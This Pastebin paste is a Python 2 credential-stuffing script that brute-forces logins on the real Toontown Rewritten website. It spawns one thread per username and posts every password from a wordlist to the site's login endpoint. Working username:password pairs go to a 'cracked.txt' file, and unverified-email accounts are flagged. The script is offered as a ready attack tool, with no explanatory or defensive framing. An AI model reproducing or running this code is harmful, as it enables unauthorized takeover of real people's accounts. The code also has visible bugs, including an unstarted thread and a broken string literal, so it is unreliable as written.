Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import threading
- import time
- class bruteUsers:
- def __init__(self, usernameList):
- self.usernames = usernameList
- print 'Loaded %s' % len(self.usernames) + ' usernames!'
- self.threads = []
- self.passwordList = self.generatePasswordList()
- self.crackedAccounts = {}
- def generatePasswordList(self):
- with open('Passwords/pwds.txt', 'r') as pwds:
- passes = pwds.readlines()
- passList = []
- for passw in passes:
- passList.append(passw.rstrip('\n'))
- print 'Loaded %s' % len(passList) + ' passwords!'
- return passList
- def startBruteForce(self):
- #start threads
- openThreads = 0
- for username in self.usernames:
- thread = threading.Thread(target=self.bruteForceInstance, args = ([username]))
- self.threads.append(thread)
- for thread in self.threads:
- thread.start()
- thread = threading.Thread(target=self.keepAlive, args = ())
- def keepAlive(self):
- for thread in self.threads:
- if not thread.isAlive():
- print 'A thread died!'
- def bruteForceInstance(self, username):
- passwordList = self.passwordList
- username = username
- for password in passwordList:
- payload = {'username' : username, 'password' : password}
- r = requests.post('https://www.toontownrewritten.com/login/do', data=payload)
- if 'Hey there,' in r.text:
- print 'Success!'
- with open('cracked.txt', 'a') as cracked:
- cracked.write(username + ':' + password + '\n')
- elif 'Your username and password didn't match up.' in r.text:
- #just handle this so we know its giving us what we want
- pass
- elif 'You need to verify your email first.' in r.text:
- print 'Unverified email for %s' % username + ':%s' % password
- else:
- print r.text
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement